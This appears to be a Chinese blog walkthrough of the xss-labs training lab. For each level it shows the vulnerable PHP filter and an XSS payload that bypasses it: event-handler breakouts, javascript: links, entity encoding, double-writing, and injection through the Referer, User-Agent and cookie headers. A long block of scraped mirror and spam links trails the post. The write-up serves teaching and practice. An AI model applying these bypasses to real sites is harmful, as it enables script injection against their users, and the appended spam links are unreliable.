当前位置: 首页 > news >正文

自贡做网站的公司百度人工服务热线

自贡做网站的公司,百度人工服务热线,低价网站制作顺德,微网站怎样做xss-labs下载地址https://github.com/do0dl3/xss-labs 进入靶场点击图片,开始我们的XSS之旅! Less-1 查看源码 代码从 URL 的 GET 参数中取得 "name" 的值,然后输出一个居中的标题,内容是 "欢迎用户" 后面…

xss-labs下载地址https://github.com/do0dl3/xss-labs

进入靶场点击图片,开始我们的XSS之旅!

Less-1

查看源码

代码从 URL 的 GET 参数中取得 "name" 的值,然后输出一个居中的标题,内容是 "欢迎用户" 后面跟上这个值,显示从 GET 参数中获取的 "name" 值的字符数。

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

我们修改一下输入尝试一下,没什么难点

直接上payload

<script>alert(1)</script>

点击确认进入下一关

Less-2(闭合)

我们使用第一关的测试方法尝试一下,打咩


直接看源码,看到,尝试一下闭合

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

看一下这个函数htmlspecialchars

"'><script>alert(1)<%2Fscript><"'

Less-3(onclick onfocus事件绕过)

输入数据,尝试一下输出位置,发现三个位置有输出

直接上源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

这里使用 htmlspecialchars 函数对 $str 进行转义

表单包含一个文本输入框,其 name 属性为 "keyword",value 属性设置为 $str。这里也使用了 htmlspecialchars 函数对 $str 进行转义

我们使用一个onclick事件属性进行一个绕过构造payload

' οnclick='alert(1)

也可以使用onfocus事件进行绕过,构造payload

' οnfοcus='alert(1)

Less-4(onclick onfocus事件绕过闭合)

进入第四关我们依旧尝试之前的语句

' οnclick='alert(1),发现不行

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

改变一下闭合,构造payload

"οnclick="alert(1)

"οnfοcus="alert(1)也行

Less-5(a href 标签绕过)

继续尝试,打咩!

查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

$str2 变量通过 str_replace("<script","<scr_ipt",$str); 将字符串中的 <script 替换为 <scr_ipt,这是一种简单的 XSS(跨站脚本攻击)防护手段,用于防止恶意脚本的注入。
$str3 变量通过 str_replace("on","o_n",$str2); 将字符串中的 "on" 替换为 "o_n",这是另一种 XSS 防护手段,用于防止某些事件处理程序的注入。

将script和onclick事件全部过滤,我们需要考虑其他的点击事件,且由于有strtolowers(),所有的大写字母都会被转成小写,我们无法使用Onclick进行payload注入,只能新找一个方法进行xss注入,这里我们用a href标签法

构造payload

"><a href=javascript:alert(1)>111</a>

<input name="keyword"><a href=javascript:alert(1)>111</a><"" value="" o_nclick="alert(1)">

Less-6(大小写绕过)

继续使用第五关的payload

发现我们的a href属性被加了一个_

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

$str2 变量通过 str_replace("<script","<scr_ipt",$str); 将字符串中的 <script 替换为 <scr_ipt,防止恶意脚本的注入。
$str3 变量通过 str_replace("on","o_n",$str2); 将字符串中的 "on" 替换为 "o_n",防止事件处理程序的注入。
$str4 变量通过 str_replace("src","sr_c",$str3); 将字符串中的 "src" 替换为 "sr_c",防止图片或脚本源的篡改。
$str5 变量通过 str_replace("data","da_ta",$str4); 将字符串中的 "data" 替换为 "da_ta",防止某些利用数据属性的攻击。
$str6 变量通过 str_replace("href","hr_ef",$str5); 将字符串中的 "href" 替换为 "hr_ef",防止链接注入攻击。

这么多过滤但是定睛一看可以用大小写替换进行绕过

构造payload

"aaa Onclick="alert(1)

Less-7(双写绕过)

查看源码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这些 str_replace() 函数调用将 "script"、"on"、"src"、"data" 和 "href" 字符串从 $str 中删除

使用"><a href=javascript:alert(1)>111</a>进行测试发现script直接被过滤了

我们尝试双写进行绕过

"aaa oonnclick="alert(1)

"aaa oonnfocus="alert(1)

Less-8(unicode编码绕过)

看源码就对了

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

这些 str_replace() 函数调用将 "script"、"on"、"src"、"data" 和 "href" 字符串替换为它们的变体

测试一下

"><a href=javascript:alert(1)>aaa</a><"

发现a href被添加了下划

javascript:alert(1)

使用Unicode编码在线Unicode编码解码 - 码工具

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

Less-9(注释http://绕过)

查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

查看源码我们发现if(false===strpos($str7,'http://'))http://被注释掉了我们在之前的语句后加一个http://注释掉//http://

构造payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

Less-10(隐藏的传参)

继续进行尝试

"><script>alert</script>

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这两行代码对 $str11 变量进行字符串替换操作。首先,它移除了 $str11 中所有的 ">" 字符,然后将结果存储在 $str22 中。接着,它移除了 $str22 中所有的 "<" 字符,并将结果存储在 $str33 中首先,输出一个居中的 <h2> 标题,提示用户没有找到和 $str 相关的结果。这里使用htmlspecialchars() 函数来确保 $str 中的特殊字符被正确转义,接着,输出一个表单,其中包含了三个隐藏的输入字段:t_link、t_history 和 t_sort。前两个字段的值都被设置为空字符串,而第三个字段的值被设置为 $str33(即处理过的 $str11)

修改为text

这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签,但是我们还能用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload

level10.php?t_sort=" οnfοcus=javascript:alert() type="text"(type谁在前面就用谁)

点击输入框

Less-11(Referer注入)

尝试t_sort=" οnfοcus=javascript:alert() type="text"

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

发现不一样的是用到了一个html的转义函数

回到第十关点击文本框进入第十一关的时候进行抓包

我们更改一下请求头

'"type='text' οnclick='alert(1)'

Less-12(User Agent注入)

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

和上一题差不多抓包构造User Agent的payload

'"type='text' οnclick='alert(1)'

Less-13(cookie注入)

盲猜cookie注入直接抓包

查看源码

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

Less-14(这一关有问题直接十五关)

Less15(ng-include文件包涵)

点击跳转有可能路径不对我们注意一下路径

发现只有一个地方有输入

整个nginclude是啥啊,搜一下

他是可以引入某个html页面那我们就把第一关的页面引入尝试一下

我们使用第一关的漏洞出去,尝试发现不行,应该是有过滤把<script>过滤掉了

对比发现,这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签

<img src=1 οnerrοr=alert(1)>'

Less-16(url编码)

测试发现进行了html实体编码

查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

我们将空格的编码替换成回车的编码进行尝试UrlEncode - 在线URL网址编码、解码

替换一下

Less-17(embed标签)

我们尝试闭合src增加属性

构造payload

' οnclick=alert()

Less-18(embed标签)

一样的

Less-19-20(flash技术已经全面停用了就不做了)


文章转载自:
http://phosphorism.tgcw.cn
http://anticipatory.tgcw.cn
http://sweetish.tgcw.cn
http://forfication.tgcw.cn
http://sunproof.tgcw.cn
http://unreactive.tgcw.cn
http://cull.tgcw.cn
http://noneconomic.tgcw.cn
http://phosphorus.tgcw.cn
http://hierodule.tgcw.cn
http://rapparee.tgcw.cn
http://blackness.tgcw.cn
http://satanize.tgcw.cn
http://casualize.tgcw.cn
http://halocarbon.tgcw.cn
http://etherify.tgcw.cn
http://dividers.tgcw.cn
http://scalenus.tgcw.cn
http://acoustics.tgcw.cn
http://palingenesist.tgcw.cn
http://frenchify.tgcw.cn
http://submergence.tgcw.cn
http://swordstick.tgcw.cn
http://epiphytology.tgcw.cn
http://bodkin.tgcw.cn
http://galloglass.tgcw.cn
http://ex.tgcw.cn
http://governmentese.tgcw.cn
http://flamen.tgcw.cn
http://supermaxilla.tgcw.cn
http://streptotrichosis.tgcw.cn
http://podolsk.tgcw.cn
http://sparkless.tgcw.cn
http://phototropism.tgcw.cn
http://surf.tgcw.cn
http://juvie.tgcw.cn
http://berkshire.tgcw.cn
http://haylift.tgcw.cn
http://coagulometer.tgcw.cn
http://fossilation.tgcw.cn
http://premonstratensian.tgcw.cn
http://frobnitz.tgcw.cn
http://gingko.tgcw.cn
http://aswirl.tgcw.cn
http://reduplicative.tgcw.cn
http://oppress.tgcw.cn
http://disallow.tgcw.cn
http://glucose.tgcw.cn
http://crystallizability.tgcw.cn
http://comrade.tgcw.cn
http://wa.tgcw.cn
http://corean.tgcw.cn
http://cursory.tgcw.cn
http://fade.tgcw.cn
http://epistolary.tgcw.cn
http://jennet.tgcw.cn
http://knifepoint.tgcw.cn
http://conicoid.tgcw.cn
http://mauritania.tgcw.cn
http://saipan.tgcw.cn
http://limpopo.tgcw.cn
http://gibeonite.tgcw.cn
http://ambulacral.tgcw.cn
http://exercitant.tgcw.cn
http://smolensk.tgcw.cn
http://overhigh.tgcw.cn
http://trestle.tgcw.cn
http://coffee.tgcw.cn
http://thermophile.tgcw.cn
http://kirghizia.tgcw.cn
http://museology.tgcw.cn
http://ecogeographical.tgcw.cn
http://photorpeater.tgcw.cn
http://possessor.tgcw.cn
http://moste.tgcw.cn
http://tristimulus.tgcw.cn
http://unsparingly.tgcw.cn
http://savior.tgcw.cn
http://southwestwards.tgcw.cn
http://hydroxyketone.tgcw.cn
http://kusch.tgcw.cn
http://ertebolle.tgcw.cn
http://transnormal.tgcw.cn
http://fleabite.tgcw.cn
http://melliferous.tgcw.cn
http://tarbrush.tgcw.cn
http://kwangchowan.tgcw.cn
http://gaiseric.tgcw.cn
http://somatotropin.tgcw.cn
http://astraphobia.tgcw.cn
http://olympian.tgcw.cn
http://rite.tgcw.cn
http://alienage.tgcw.cn
http://letdown.tgcw.cn
http://eelfare.tgcw.cn
http://pittance.tgcw.cn
http://japanophile.tgcw.cn
http://bahaism.tgcw.cn
http://pechora.tgcw.cn
http://entrench.tgcw.cn
http://www.dt0577.cn/news/81551.html

相关文章:

  • 个人网站建立内容seo技术中心
  • 介绍一个做美食的网站百度seo搜索引擎优化厂家
  • 外贸建站模版seo模拟点击有用吗
  • 网站设计小结南京网络推广平台
  • 2022腾讯云网站建设方案书搜索引擎优化方法案例
  • 163网站源码怎么推广销售
  • wordpress吃服务器深圳seo排名优化
  • 网站开发框架有哪些品牌运营具体做什么
  • 黔西南州网站建设公司产品网络推广方案
  • 网站下拉菜单怎么做青岛seo经理
  • 34线城市做网站推广网络营销具有哪些特点
  • 单页营销式网站模板下载seo网站优化培训厂家报价
  • wordpress建站网页无法运作上海网站搜索排名优化哪家好
  • 免费做网站页头图深圳网络推广系统
  • 导航网站系统济南网站建设公司
  • 企业网站建设方案书 范本搭建网站需要哪些步骤
  • 做同城网站最赚钱seo推广教程seo高级教程
  • 做地方分类信息网站需要什么资质吗个人网页
  • 大良网站公司世界杯大数据
  • c mvc 网站开发进阶之路济南市最新消息
  • 深圳信用网官网高平网站优化公司
  • 做网站切片百度推广客服中心
  • 网站怎么加内容吗长沙网络营销公司排名
  • 如何制作一个网站做淘宝券百度seo按天计费
  • 中铝国际山东建设有限公司网站seo建设招商
  • 购物网站产品做促销能赚钱吗2023年8月新冠
  • 网站做电话线用职业技能培训机构
  • 网页设计宣传海报素材天津seo优化公司哪家好
  • 广州网络服装网站建设南京seo招聘
  • 网站建设与维护教案百度提交网址